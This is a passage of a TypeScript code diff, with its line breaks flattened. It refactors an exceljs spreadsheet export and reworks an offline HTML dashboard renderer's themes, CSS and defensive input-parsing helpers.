Math.max(...sheet.rows.map(r => (Array.isArray(r) ? r.length : 0)))- if (colCount === 0) continue-- // ── Optional title row (merged across data columns only)- let headerRowIndex = 1- if (sheet.titleRow) {- const titleRow = ws.addRow([safeCell(sheet.titleRow.text)])- ws.mergeCells(1, 1, 1, colCount)- const titleFont = {- bold: true,- size: 14,- color: {- argb: hexToArgb(sheet.titleRow.fontColor ?? '#ffffff'),- },- }- const titleFill: ExcelJS.Fill = {- type: 'pattern',- pattern: 'solid',- fgColor: {- argb: hexToArgb(sheet.titleRow.fillColor ?? `#${palette.primary.slice(2)}`),- },- }- // Apply fill/font only to the merged range (cols 1..colCount), not- // the entire row — otherwise exceljs writes fill on every column up- // to Excel's max width, painting cells past the data area.- for (let c = 1; c <= colCount; c++) {- const cell = titleRow.getCell(c)- cell.font = titleFont- cell.fill = titleFill- cell.alignment = { vertical: 'middle', horizontal: 'center' }- }- titleRow.height = 28- headerRowIndex = 2- }-- // ── Data rows (header is rows[0])- for (let r = 0; r < sheet.rows.length; r++) {- const row = sheet.rows[r]- if (!Array.isArray(row)) continue- ws.addRow(row.map(safeCell))- }-- const headerRow = ws.getRow(headerRowIndex)- const headers = sheet.rows[0] ?? []-- // ── Header row styling (palette background, white text, bold, border)- // Apply at CELL level, never row level — row-level styles get written- // as `<row s=N customFormat=1>` which Excel applies to all 16,384- // columns of the row, painting the slate fill past the data area.- const headerFont: Partial<ExcelJS.Font> = {- bold: true,- color: { argb: hexToArgb('#ffffff') },- size: 11,- }- const headerFill: ExcelJS.Fill = {- type: 'pattern',- pattern: 'solid',- fgColor: { argb: palette.primary },- }- const headerBorder: Partial<ExcelJS.Borders> = {- bottom: { style: 'thin', color: { argb: palette.primaryDark } },- }- const headerAlignment: Partial<ExcelJS.Alignment> = {- vertical: 'middle',- horizontal: 'left',- indent: 1,- }- for (let c = 1; c <= colCount; c++) {- const cell = headerRow.getCell(c)- cell.font = headerFont- cell.fill = headerFill- cell.border = headerBorder- cell.alignment = headerAlignment- }- headerRow.height = 22-- // ── Zebra rows for data — apply zebra fill + small font at CELL- // level on cells 1..colCount only. Row-level styling (row.font /- // row.fill) writes `customFormat=1` and bleeds past the data area.- const dataRowStart = headerRowIndex + 1- const dataRowEnd = headerRowIndex + sheet.rows.length - 1- const dataFont: Partial<ExcelJS.Font> = {- color: { argb: palette.text },- size: 10,- }- const zebraFill: ExcelJS.Fill = {- type: 'pattern',- pattern: 'solid',- fgColor: { argb: palette.zebra },- }- for (let r = dataRowStart; r <= dataRowEnd; r++) {- const isZebra = (r - dataRowStart) % 2 === 1- for (let c = 1; c <= colCount; c++) {- const cell = ws.getRow(r).getCell(c)- cell.font = dataFont- if (isZebra) cell.fill = zebraFill- }- }-- // ── Column formatting (auto + explicit)- // Apply numFmt/alignment at the CELL level on the data range only —- // never at the column level. Column-level styles (col.numFmt /- // col.alignment) extend to all 1,048,576 rows in the column, which- // Excel renders as formatting bleeding past the data range.- const explicitFormats = sheet.columnFormats ?? {}- for (let c = 0; c < colCount; c++) {- const header = headers[c]- // Resolve explicit format by header name OR index.- let formatKey: ColumnFormat | undefined =- (explicitFormats[c] as ColumnFormat | undefined) ??- (explicitFormats[String(header ?? '')] as ColumnFormat | undefined)-- if (!formatKey) {- const sampleValues: unknown[] = []- for (let r = 1; r < sheet.rows.length; r++) {- const cellVal = sheet.rows[r]?.[c]- if (cellVal !== null && cellVal !== undefined) sampleValues.push(cellVal)- }- formatKey = detectColumnFormat(header, sampleValues)- }-- if (formatKey) {- const numFmt =- formatKey in NUMBER_FORMATS- ? NUMBER_FORMATS[formatKey as keyof typeof NUMBER_FORMATS]- : (formatKey as string)- const isNumeric = formatKey !== 'datetime' && formatKey !== 'date'- for (let r = dataRowStart; r <= dataRowEnd; r++) {- const cell = ws.getRow(r).getCell(c + 1)- cell.numFmt = numFmt- if (isNumeric) {- cell.alignment = { ...(cell.alignment ?? {}), horizontal: 'right' }- }- }- }- }-- // ── Conditional formatting (apply rule-by-rule to each cell in column)- if (Array.isArray(sheet.conditionalFormatting)) {- for (const cf of sheet.conditionalFormatting) {- const colIdx = resolveColumnIndex(cf.column, headers)- if (colIdx === undefined) continue- for (let r = dataRowStart; r <= dataRowEnd; r++) {- const cell = ws.getRow(r).getCell(colIdx + 1)- for (const rule of cf.rules ?? []) {- if (ruleMatches(rule, cell.value)) {- if (rule.fillColor) {- cell.fill = {- type: 'pattern',- pattern: 'solid',- fgColor: { argb: hexToArgb(rule.fillColor) },- }- }- const newFont: Partial<ExcelJS.Font> = { ...(cell.font as object) }- if (rule.fontColor) newFont.color = { argb: hexToArgb(rule.fontColor) }- if (rule.bold !== undefined) newFont.bold = rule.bold- if (rule.fontColor || rule.bold !== undefined) cell.font = newFont- break // first matching rule wins- }- }- }- }- }-- // ── Freeze header row (default: true if has data)- const shouldFreeze = sheet.freezeHeader ?? sheet.rows.length > 1- if (shouldFreeze) {- ws.views = [{ state: 'frozen', xSplit: 0, ySplit: headerRowIndex }]- }-- // ── Auto-filter on header (default: true)- const shouldAutoFilter = sheet.autoFilter ?? true- if (shouldAutoFilter && colCount > 0 && sheet.rows.length > 1) {- ws.autoFilter = {- from: { row: headerRowIndex, column: 1 },- to: { row: headerRowIndex, column: colCount },- }- // String form fallback for very wide sheets (>26 cols).- if (colCount > 26) {- ws.autoFilter = `A${headerRowIndex}:${columnLetter(colCount)}${headerRowIndex}`- }- }-- // ── Auto-width columns (with min/max bounds)- ws.columns?.forEach(col => {- let maxLen = 10- col.eachCell?.({ includeEmpty: false }, cell => {- const len = String(cell.value ?? '').length- if (len > maxLen) maxLen = Math.min(len, 50)- })- col.width = Math.max(maxLen + 2, 12)- })-- // ── Images (charts, logos)- for (const img of sheet.images ?? []) {- if (!img.path) continue- const safeImgPath = validateOutputPath(img.path, outputDir)- if (!fs.existsSync(safeImgPath)) continue- const ext = (path.extname(safeImgPath).slice(1) || 'png').toLowerCase()- if (!['png', 'jpeg', 'jpg', 'gif'].includes(ext)) continue- const fileBytes = fs.readFileSync(safeImgPath)- // exceljs's @types Buffer expects an ArrayBuffer-backed Buffer; in newer- // @types/node, fs.readFileSync returns Buffer<NonSharedBuffer>. Wrap the- // bytes in a fresh Uint8Array view to satisfy the structural type.- const imgBuffer = Buffer.from(- fileBytes.buffer,- fileBytes.byteOffset,- fileBytes.byteLength- )- const imageId = workbook.addImage({- buffer: imgBuffer as unknown as ExcelJS.Buffer,- extension: ext === 'jpg' ? 'jpeg' : (ext as 'png' | 'jpeg' | 'gif'),- })- if (img.range) {- ws.addImage(imageId, img.range)- } else if (img.anchor) {- const ext2 =- img.width && img.height- ? { width: img.width, height: img.height }- : { width: 480, height: 270 }- ws.addImage(imageId, {- tl: cellAddressToCoord(img.anchor),- ext: ext2,- editAs: 'oneCell',- })- } else {- // Default placement: anchor below the data block, left-aligned.- ws.addImage(imageId, {- tl: { col: 0, row: headerRowIndex + sheet.rows.length },- ext: { width: 480, height: 270 },- editAs: 'oneCell',- })- }- }- }-- // Serialize to a buffer first so we can enforce the quota atomically- // before committing to disk (no partial/corrupt writes on quota breach).- const xlsxRaw = (await workbook.xlsx.writeBuffer()) as unknown as ArrayBufferView- const xlsxBuffer = Buffer.from(xlsxRaw.buffer, xlsxRaw.byteOffset, xlsxRaw.byteLength)+ const filename = outputFilename(args.filename, 'xlsx', 'output')+ const warnings: string[] = []+ const built = await buildXlsxWorkbook(+ args,+ outputDir,+ { width: XLSX_MAX_IMAGE_WIDTH, height: XLSX_MAX_IMAGE_HEIGHT },+ warnings+ )+ if (!built.ok) return { success: false, error: built.error }+ // The workbook is already in memory, so a quota breach leaves no partial file.ensureDir(outputDir)- enforceQuota(outputDir, xlsxBuffer.byteLength)- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, xlsxBuffer)-- return { success: true, artifact: buildArtifact(filePath, 'xlsx') }+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, built.buffer.byteLength, replacedBytes(target))+ fs.writeFileSync(target.filePath, built.buffer)+ return artifactResult(target, 'xlsx', {+ summary: `File generated: ${target.filename} (xlsx): ${built.summary}.`,+ warnings,+ })} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}},}-/**- * Convert "F2" → { col: 5, row: 1 } (zero-based, ExcelJS image anchor format).- * Throws on invalid input so a typo surfaces instead of placing the image- * over the title row.- */-function cellAddressToCoord(addr: string): { col: number; row: number } {- const trimmed = String(addr ?? '').trim()- const m = /^([A-Za-z]+)(\d+)$/.exec(trimmed)- if (!m) {- throw new Error(`Invalid cell anchor: "${addr}" (expected e.g. "F2")`)- }- const colLetters = m[1].toUpperCase()- const rowNum = parseInt(m[2], 10)- if (rowNum <= 0) {- throw new Error(`Invalid cell anchor row: "${addr}" (must be >= 1)`)- }- let col = 0- for (const ch of colLetters) col = col * 26 + (ch.charCodeAt(0) - 64)- return { col: col - 1, row: rowNum - 1 }-}--function columnLetter(n: number): string {- let s = ''- while (n > 0) {- const r = (n - 1) % 26- s = String.fromCharCode(65 + r) + s- n = Math.floor((n - 1) / 26)- }- return s-}-// ════════════════════════════════════════════════════════════════════// ─── DASHBOARD GENERATION (clerum__generate_dashboard) ──────────────// ════════════════════════════════════════════════════════════════════//// Self-contained HTML dashboard renderer. Produces a single .html file-// with inlined CSS + Chart.js bundle, works offline, prints cleanly.+// with inlined CSS, plus the Chart.js bundle when the page has charts;+// works offline and prints cleanly.//// Templates (4 fixed presets):// - executive-brief general-purpose daily/weekly executive report@@ -2726,217 +3309,6 @@ function columnLetter(n: number): string {//// Themes: default | corporate | warm | alert (light + dark variants)-// ─── Theme types ────────────────────────────────────────────────────--type ThemeName = 'default' | 'corporate' | 'warm' | 'alert'--interface DashboardThemeColors {- bg: string- surface: string- surfaceMuted: string- text: string- textMuted: string- textSoft: string- border: string- primary: string- primaryHover: string- accent: string- success: string- warning: string- danger: string- successBg: string- warningBg: string- dangerBg: string- neutralBg: string-}--interface DashboardTheme {- name: ThemeName- light: DashboardThemeColors- dark: DashboardThemeColors- fontFamily: string- chartPalette: string[]-}--const DASHBOARD_THEMES: Record<ThemeName, DashboardTheme> = {- default: {- name: 'default',- fontFamily:- "-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif",- chartPalette: ['#0f172a', '#22c55e', '#f59e0b', '#ef4444', '#3b82f6', '#a855f7', '#06b6d4'],- light: {- bg: '#f8fafc',- surface: '#ffffff',- surfaceMuted: '#f1f5f9',- text: '#0f172a',- textMuted: '#475569',- textSoft: '#94a3b8',- border: '#e2e8f0',- primary: '#0f172a',- primaryHover: '#1e293b',- accent: '#3b82f6',- success: '#16a34a',- warning: '#ca8a04',- danger: '#dc2626',- successBg: '#dcfce7',- warningBg: '#fef9c3',- dangerBg: '#fee2e2',- neutralBg: '#f1f5f9',- },- dark: {- bg: '#0f172a',- surface: '#1e293b',- surfaceMuted: '#334155',- text: '#f1f5f9',- textMuted: '#cbd5e1',- textSoft: '#94a3b8',- border: '#334155',- primary: '#3b82f6',- primaryHover: '#60a5fa',- accent: '#3b82f6',- success: '#22c55e',- warning: '#facc15',- danger: '#f87171',- successBg: '#14532d',- warningBg: '#713f12',- dangerBg: '#7f1d1d',- neutralBg: '#334155',- },- },- corporate: {- name: 'corporate',- fontFamily:- "-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif",- chartPalette: ['#1e40af', '#0891b2', '#0d9488', '#059669', '#65a30d', '#ca8a04', '#dc2626'],- light: {- bg: '#f1f5f9',- surface: '#ffffff',- surfaceMuted: '#e0f2fe',- text: '#1e293b',- textMuted: '#475569',- textSoft: '#94a3b8',- border: '#cbd5e1',- primary: '#1e3a8a',- primaryHover: '#1e40af',- accent: '#0891b2',- success: '#059669',- warning: '#ca8a04',- danger: '#b91c1c',- successBg: '#dcfce7',- warningBg: '#fef9c3',- dangerBg: '#fee2e2',- neutralBg: '#e0f2fe',- },- dark: {- bg: '#0f172a',- surface: '#1e293b',- surfaceMuted: '#1e3a5f',- text: '#e0f2fe',- textMuted: '#bae6fd',- textSoft: '#7dd3fc',- border: '#1e3a5f',- primary: '#3b82f6',- primaryHover: '#60a5fa',- accent: '#0ea5e9',- success: '#34d399',- warning: '#facc15',- danger: '#f87171',- successBg: '#14532d',- warningBg: '#713f12',- dangerBg: '#7f1d1d',- neutralBg: '#1e3a5f',- },- },- warm: {- name: 'warm',- fontFamily:- "-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif",- chartPalette: ['#b45309', '#2f2823', '#0d9488', '#1e40af', '#9f1239', '#65a30d', '#7c3aed'],- light: {- bg: '#f7f7f5',- surface: '#fffdfa',- surfaceMuted: '#f1ede6',- text: '#2f2823',- textMuted: '#66584c',- textSoft: '#857568',- border: '#d6d2cc',- primary: '#b45309',- primaryHover: '#ca6e1e',- accent: '#b45309',- success: '#15803d',- warning: '#b45309',- danger: '#9f1239',- successBg: '#dcfce7',- warningBg: '#fef3c7',- dangerBg: '#fee2e2',- neutralBg: '#f1ede6',- },- dark: {- bg: '#0e0f10',- surface: '#141517',- surfaceMuted: '#1f2123',- text: '#f2f2ef',- textMuted: '#c6c8cc',- textSoft: '#92969e',- border: '#2a2c2f',- primary: '#ca6e1e',- primaryHover: '#e0833a',- accent: '#ca6e1e',- success: '#34d399',- warning: '#fbbf24',- danger: '#fb7185',- successBg: '#14532d',- warningBg: '#78350f',- dangerBg: '#7f1d1d',- neutralBg: '#1f2123',- },- },- alert: {- name: 'alert',- fontFamily:- "-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif",- chartPalette: ['#9f1239', '#dc2626', '#ea580c', '#ca8a04', '#65a30d', '#0891b2', '#1e40af'],- light: {- bg: '#fef2f2',- surface: '#ffffff',- surfaceMuted: '#fee2e2',- text: '#1f2937',- textMuted: '#4b5563',- textSoft: '#9ca3af',- border: '#fecaca',- primary: '#9f1239',- primaryHover: '#be123c',- accent: '#dc2626',- success: '#15803d',- warning: '#ca8a04',- danger: '#9f1239',- successBg: '#dcfce7',- warningBg: '#fef9c3',- dangerBg: '#fecaca',- neutralBg: '#fee2e2',- },- dark: {- bg: '#1f0a0a',- surface: '#2c0f0f',- surfaceMuted: '#3d1414',- text: '#fee2e2',- textMuted: '#fca5a5',- textSoft: '#f87171',- border: '#3d1414',- primary: '#fb7185',- primaryHover: '#fda4af',- accent: '#f87171',- success: '#34d399',- warning: '#facc15',- danger: '#fb7185',- successBg: '#14532d',- warningBg: '#713f12',- dangerBg: '#7f1d1d',- neutralBg: '#3d1414',- },- },-}-// ─── CSS builder ────────────────────────────────────────────────────function dashboardColorVars(c: DashboardThemeColors): string {@@ -2957,7 +3329,8 @@ function dashboardColorVars(c: DashboardThemeColors): string {--success-bg: ${c.successBg};--warning-bg: ${c.warningBg};--danger-bg: ${c.dangerBg};- --neutral-bg: ${c.neutralBg};`.trim()+ --neutral-bg: ${c.neutralBg};+ ${c.chart.map((color, i) => `--chart-${i + 1}: ${color};`).join('\n ')}`.trim()}function buildDashboardCss(theme: DashboardTheme, defaultMode: 'light' | 'dark' = 'light'): string {@@ -2985,9 +3358,9 @@ html, body { margin: 0; padding: 0; }${oppositeVars}}-@media (prefers-color-scheme: dark) {+@media (prefers-color-scheme: ${oppositeKey}) {:root:not([data-theme]) {- ${darkVars}+ ${oppositeVars}}}@@ -3053,6 +3426,11 @@ em, i { font-style: italic; }text-transform: uppercase;color: var(--text-soft);}+.hero__title, .hero__headline, .kpi-card__label, .kpi-card__value, .kpi-card__delta,+.chart-card__title, .health-card__name, .health-card__metric, .timeline-item__title {+ overflow-wrap: anywhere;+}+.kpi-card, .chart-card, .health-card, .timeline-item__body { min-width: 0; }.hero__title {font-size: 32px;font-weight: 700;@@ -3095,6 +3473,7 @@ em, i { font-style: italic; }.section {margin-bottom: 28px;}+.section > :last-child { margin-bottom: 0; }.section__title {display: flex;align-items: baseline;@@ -3157,9 +3536,9 @@ em, i { font-style: italic; }font-weight: 600;margin: 0;}-.kpi-card__delta[data-direction="up"] { color: var(--success); }-.kpi-card__delta[data-direction="down"] { color: var(--danger); }-.kpi-card__delta[data-direction="neutral"] { color: var(--text-muted); }+.kpi-card__delta[data-sentiment="good"] { color: var(--success); }+.kpi-card__delta[data-sentiment="bad"] { color: var(--danger); }+.kpi-card__delta[data-sentiment="neutral"] { color: var(--text-muted); }.kpi-card__delta::before {font-size: 11px;}@@ -3201,6 +3580,30 @@ em, i { font-style: italic; }padding: 20px;box-shadow: var(--shadow);}+.chart-card__table {+ overflow-x: auto;+}+.chart-card__table .data-table {+ font-size: 13px;+}+.chart-card__note {+ margin: 0;+ padding: 24px 12px;+ text-align: center;+ color: var(--text-muted);+ font-size: 13px;+ line-height: 1.5;+}++.chart-card__caption {+ margin: 8px 0 0;+ text-align: center;+ color: var(--text-muted);+ font-size: 13px;+ font-weight: 600;+ overflow-wrap: anywhere;+}+.chart-card__title {font-size: 14px;font-weight: 600;@@ -3230,7 +3633,7 @@ em, i { font-style: italic; }background: var(--surface);border: 1px solid var(--border);border-radius: var(--radius);- overflow: hidden;+ overflow-x: auto;box-shadow: var(--shadow);margin-bottom: 28px;}@@ -3257,7 +3660,7 @@ em, i { font-style: italic; }.data-table tbody tr:nth-child(even) td {background: var(--surface-muted);}-.data-table .severity-badge {+.severity-badge {display: inline-block;padding: 2px 8px;border-radius: 999px;@@ -3270,6 +3673,7 @@ em, i { font-style: italic; }.severity-high, .severity-p1 { background: var(--warning-bg); color: var(--warning); }.severity-med { background: var(--neutral-bg); color: var(--text-muted); }.severity-low, .severity-p2 { background: var(--success-bg); color: var(--success); }+.severity-info { background: var(--neutral-bg); color: var(--text-soft); }/* ─── Callouts / risks / narrative ───────────────────────────────── */@@ -3284,6 +3688,8 @@ em, i { font-style: italic; }.callout[data-tone="warning"] { border-left-color: var(--warning); }.callout[data-tone="danger"] { border-left-color: var(--danger); }.callout[data-tone="success"] { border-left-color: var(--success); }+.kpi-grid > .callout, .health-grid > .callout { margin: 0; }+.timeline-item > .callout { margin: 0 0 0 12px; }.bullets {margin: 0;@@ -3550,6 +3956,9 @@ em, i { font-style: italic; }/* ─── Print ───────────────────────────────────────────────────────── */@media print {+ :root, :root:not([data-theme]), [data-theme] {+ ${lightVars}+ }body { background: white; }.dashboard { max-width: 100%; padding: 0; }.kpi-card, .chart-card, .data-table-wrap, .narrative, .callout {@@ -3557,6 +3966,12 @@ em, i { font-style: italic; }break-inside: avoid;}.hero { box-shadow: none; }+ .section__title { break-after: avoid; }+ .data-table-wrap { overflow: visible; }+ .data-table { font-size: 11px; }+ .data-table thead th, .data-table tbody td { padding: 6px 8px; }+ .data-table--wide { font-size: 9px; }+ .data-table--wide thead th, .data-table--wide tbody td { padding: 4px; overflow-wrap: anywhere; }}/* ─── Responsive ──────────────────────────────────────────────────── */@@ -3573,182 +3988,285 @@ em, i { font-style: italic; }}// ─── Render helpers (shared across templates) ──────────────────────+//+// The schema cannot say which fields each template or block type needs, so+// every helper reads its input defensively. A part that cannot be read throws+// an error naming the field; the caller replaces that part with a notice and+// reports it, and the rest still renders.-interface KpiCard {- label: string- value: string | number- delta?: string- deltaDirection?: 'up' | 'down' | 'neutral'- sparkline?: number[]- accent?: 'success' | 'warning' | 'danger' | 'neutral'+interface DashboardBranding {+ companyName?: string+ footerText?: string}-interface ChartSpec {- type: 'line' | 'bar' | 'horizontalBar' | 'pie' | 'doughnut' | 'area' | 'radar' | 'polarArea'- title?: string- labels?: string[]- datasets: Array<{- label?: string- data: number[]- backgroundColor?: string | string[]- borderColor?: string | string[]- fill?: boolean- }>- yAxisLabel?: string- xAxisLabel?: string-}--interface TableSpec {- title?: string- headers: string[]- rows: (string | number | null)[][]- columnTypes?: Record<string | number, 'severity' | 'priority' | 'plain' | 'status'>+/** State gathered while one dashboard renders. */+interface DashRender {+ charts: DashboardCharts+ warnings: string[]+ sparklines: number+ drawSparklines: boolean+ skippedSparklines: number+ /** Parts that rendered, to tell a partial page from an empty one. */+ rendered: number+ /** Why each part that could not be shown failed. */+ failures: string[]}-interface SectionSpec {- title?: string- type: 'narrative' | 'bullets' | 'callout' | 'code'- content: string | string[]- tone?: 'info' | 'success' | 'warning' | 'danger'- language?: string+function renderInlineMd(s: string): string {+ return escapeHtml(s)+ .replace(/\*\*([\s\S]+?)\*\*(?!\*)/g, '<strong>$1</strong>')+ .replace(/(?<!\*)\*([^*]+)\*(?!\*)/g, '<em>$1</em>')+ .replace(/`([^`]+)`/g, '<code>$1</code>')}-interface ServiceHealth {- name: string- status: 'healthy' | 'degraded' | 'down' | 'maintenance'- metric?: string- delta?: string- deltaDirection?: 'up' | 'down' | 'neutral'+function isDashRecord(value: unknown): value is Record<string, unknown> {+ return value !== null && typeof value === 'object' && !Array.isArray(value)}-interface IncidentItem {- time: string- title: string- severity?: 'critical' | 'high' | 'med' | 'low' | 'info'- description?: string- resolvedAt?: string+function describeDashValue(value: unknown): string {+ if (value === undefined) return 'nothing'+ if (value === null) return 'null'+ if (Array.isArray(value)) return 'an array'+ if (typeof value === 'string') return `a string (${JSON.stringify(value.slice(0, 40))})`+ return typeof value === 'object' ? 'an object' : `a ${typeof value} (${String(value)})`}-interface FooterMeta {- date?: string- author?: string- runId?: string+function dashRecord(value: unknown, where: string, shape: string): Record<string, unknown> {+ if (!isDashRecord(value)) {+ throw new Error(`${where} must be ${shape}; received ${describeDashValue(value)}.`)+ }+ return value}-interface DashboardBranding {- companyName?: string- footerText?: string+function dashList(value: unknown, where: string, shape: string): unknown[] {+ if (value === undefined || value === null) return []+ if (!Array.isArray(value)) {+ throw new Error(`${where} must be an array of ${shape}; received ${describeDashValue(value)}.`)+ }+ return value}-function escapeDashHtml(s: unknown): string {- return String(s ?? '')- .replace(/&/g, '&')- .replace(/</g, '<')- .replace(/>/g, '>')- .replace(/"/g, '"')- .replace(/'/g, ''')- .replace(/\//g, '/')+/** Text of a scalar; anything else reads as empty. */+function dashText(value: unknown): string {+ return typeof value === 'string' || typeof value === 'number' || typeof value === 'boolean'+ ? String(value)+ : ''+}++/** One paragraph or a list of them, rejecting what would print as "[object Object]". */+function dashTextList(value: unknown, where: string): string[] {+ const items = Array.isArray(value) ? value : [value]+ const out = items.map((item, i) => {+ if (typeof item === 'string' || typeof item === 'number' || typeof item === 'boolean') {+ return String(item)+ }+ const at = Array.isArray(value) ? `${where}[${i}]` : where+ throw new Error(`${at} must be text; received ${describeDashValue(item)}.`)+ })+ if (out.every(t => t.trim() === '')) throw new Error(`${where} is empty; pass the text to show.`)+ return out+}++/** `body` under its heading, in one section so a printed page never ends on the heading. */+function titledSection(title: string | undefined, body: string): string {+ return title+ ? `<section class="section"><h2 class="section__title">${escapeHtml(title)}</h2>${body}</section>`+ : body+}++/** A number as a reader expects it: grouped, without floating-point noise. */+function formatDashNumber(n: number): string {+ if (Number.isInteger(n)) return n.toLocaleString('en-US')+ return Math.abs(n) >= 1+ ? n.toLocaleString('en-US', { maximumFractionDigits: 2 })+ : n.toLocaleString('en-US', { maximumSignificantDigits: 4 })+}++/** A figure: numbers are formatted, text is shown as written. */+function dashFigure(value: unknown): string {+ return typeof value === 'number' ? formatDashNumber(value) : dashText(value)+}++type DeltaDirection = 'up' | 'down' | 'neutral'++/** A delta's text and arrow; a numeric delta is signed and, unless told otherwise, points its own way. */+function dashDelta(+ delta: unknown,+ direction: unknown+): { text: string; direction: DeltaDirection } {+ const directions = ['up', 'down', 'neutral'] as const+ if (typeof delta !== 'number') {+ return { text: dashText(delta), direction: oneOf(direction, directions, 'neutral') }+ }+ const own = delta > 0 ? 'up' : delta < 0 ? 'down' : 'neutral'+ return {+ text: `${delta > 0 ? '+' : ''}${formatDashNumber(delta)}`,+ direction: oneOf(direction, directions, own),+ }+}++function deltaHtml(text: string, direction: DeltaDirection, sentiment: string): string {+ if (!text) return ''+ return `<p class="kpi-card__delta" data-direction="${direction}" data-sentiment="${sentiment}">${escapeHtml(text)}</p>`+}++function failureCallout(heading: string, message: string): string {+ return `<section class="section"><h2 class="section__title">${escapeHtml(heading)}</h2><div class="callout" data-tone="danger">${escapeHtml(message)}</div></section>`+}++function recordFailure(ctx: DashRender, where: string, e: unknown): string {+ const message = e instanceof Error ? e.message : String(e)+ ctx.failures.push(message.includes(where) ? message : `${where}: ${message}`)+ return message+}++/**+ * Render one part of the page. A part that throws is replaced by a notice and+ * reported, so one malformed entry never takes the dashboard down. `counts`+ * is false for parts that are not content of their own (the hero, a divider)+ * and for parts that count their own entries (charts, card groups).+ */+function dashPart(ctx: DashRender, where: string, counts: boolean, render: () => string): string {+ try {+ const html = render()+ if (counts && html) ctx.rendered+++ return html+ } catch (e) {+ const message = recordFailure(ctx, where, e)+ return failureCallout(`${where} could not be shown`, message)+ }}-function renderInlineMd(s: string): string {- return escapeDashHtml(s)- .replace(/\*\*([\s\S]+?)\*\*(?!\*)/g, '<strong>$1</strong>')- .replace(/(?<!\*)\*([^*]+)\*(?!\*)/g, '<em>$1</em>')- .replace(/`([^`]+)`/g, '<code>$1</code>')+/**+ * Render each entry of a card group on its own: a bad entry becomes a notice+ * in its place and the other cards stay. The group counts as content when at+ * least one entry rendered.+ */+function dashItems(+ ctx: DashRender,+ list: unknown[],+ where: string,+ render: (item: unknown, at: string) => string,+ notice: (message: string) => string+): string {+ let shown = 0+ const html = list+ .map((item, i) => {+ const at = `${where}[${i}]`+ try {+ const out = render(item, at)+ shown+++ return out+ } catch (e) {+ return notice(recordFailure(ctx, at, e))+ }+ })+ .join('\n')+ if (shown > 0) ctx.rendered+++ return html}-interface HeroOptions {- title: string- eyebrow?: string- headline?: string- status?: 'green' | 'yellow' | 'red' | 'neutral'- statusLabel?: string-}+const cardNotice = (message: string) =>+ `<div class="callout" data-tone="danger">${escapeHtml(message)}</div>`++const HERO_STATUSES = ['green', 'yellow', 'red', 'neutral'] as const-function renderHero(o: HeroOptions): string {- const eyebrow = o.eyebrow ? `<div class="hero__eyebrow">${escapeDashHtml(o.eyebrow)}</div>` : ''- const status = o.status ?? 'neutral'- const statusLabel = o.statusLabel ?? status.toUpperCase()+function renderHero(o: Record<string, unknown>): string {+ const eyebrowText = dashText(o.eyebrow)+ const eyebrow = eyebrowText ? `<div class="hero__eyebrow">${escapeHtml(eyebrowText)}</div>` : ''+ const status = oneOf(dashText(o.status).trim().toLowerCase(), HERO_STATUSES, 'neutral')+ const statusLabel = dashText(o.statusLabel) || status.toUpperCase()const statusBadge =- o.status || o.statusLabel- ? `<span class="status-badge" data-status="${escapeDashHtml(status)}">${escapeDashHtml(statusLabel)}</span>`+ o.status !== undefined || dashText(o.statusLabel)+ ? `<span class="status-badge" data-status="${status}">${escapeHtml(statusLabel)}</span>`: ''- const headline = o.headline ? `<p class="hero__headline">${renderInlineMd(o.headline)}</p>` : ''+ const headlineText = dashText(o.headline)+ const headline = headlineText+ ? `<p class="hero__headline">${renderInlineMd(headlineText)}</p>`+ : ''return `-<header class="hero" data-status="${escapeDashHtml(status)}">+<header class="hero" data-status="${status}">${eyebrow}- <h1 class="hero__title">${escapeDashHtml(o.title)}</h1>+ <h1 class="hero__title">${escapeHtml(dashText(o.title))}</h1>${headline}${statusBadge}</header>`.trim()}-function renderKpis(kpis: KpiCard[]): string {- if (!kpis || kpis.length === 0) return ''- const cards = kpis- .map((kpi, idx) => {- const delta = kpi.delta- ? `<p class="kpi-card__delta" data-direction="${escapeDashHtml(- kpi.deltaDirection ?? 'neutral'- )}">${escapeDashHtml(kpi.delta)}</p>`- : ''- const sparkline =- kpi.sparkline && kpi.sparkline.length > 1- ? `<div class="kpi-card__sparkline-wrap"><canvas class="kpi-card__sparkline" id="sparkline-${idx}" data-spark="${escapeHtmlAttr(- JSON.stringify(kpi.sparkline)- )}"></canvas></div>`- : ''- const accent = kpi.accent ? ` data-accent="${escapeDashHtml(kpi.accent)}"` : ''+function renderSparkline(value: unknown, where: string, ctx: DashRender): string {+ if (value === undefined || value === null) return ''+ if (!Array.isArray(value)) {+ ctx.warnings.push(`${where} must be an array of numbers; the trend was left out.`)+ return ''+ }+ const points = value.map(v => (v === null ? null : coerceNumber(v)))+ const values = points.filter((v): v is number | null => v !== undefined)+ if (values.filter(v => v !== null).length < 2) {+ ctx.warnings.push(`${where} needs at least two numbers to draw a trend; it was left out.`)+ return ''+ }+ if (!ctx.drawSparklines) {+ ctx.skippedSparklines+++ return ''+ }+ if (values.length < points.length) {+ ctx.warnings.push(`${where}: entries that were not numbers were left out of the trend.`)+ }+ return `<div class="kpi-card__sparkline-wrap"><canvas class="kpi-card__sparkline" id="sparkline-${ctx.sparklines++}" data-spark="${escapeHtmlAttr(+ JSON.stringify(values)+ )}"></canvas></div>`+}++const YEAR_LABEL = /\b(year|years|yr|fy|a[nñ]o|anio)\b/i++function renderKpis(items: unknown, where: string, ctx: DashRender, title?: string): string {+ const kpis = dashList(items, where, 'KPI objects {label, value}')+ if (kpis.length === 0) return ''+ const cards = dashItems(+ ctx,+ kpis,+ where,+ (item, at) => {+ const kpi = dashRecord(item, at, 'a KPI object {label, value}')+ // A year is not grouped: 2026, not 2,026.+ const year = typeof kpi.value === 'number' && YEAR_LABEL.test(dashText(kpi.label))+ const value = year ? String(kpi.value) : dashFigure(kpi.value)+ if (!value) {+ throw new Error(`${at}.value is missing; pass the figure to show, e.g. "$1.2M" or 48.`)+ }+ const { text, direction } = dashDelta(kpi.delta, kpi.deltaDirection)+ const sentiment = oneOf(+ kpi.deltaSentiment,+ ['good', 'bad', 'neutral'] as const,+ direction === 'up' ? 'good' : direction === 'down' ? 'bad' : 'neutral'+ )+ const delta = deltaHtml(text, 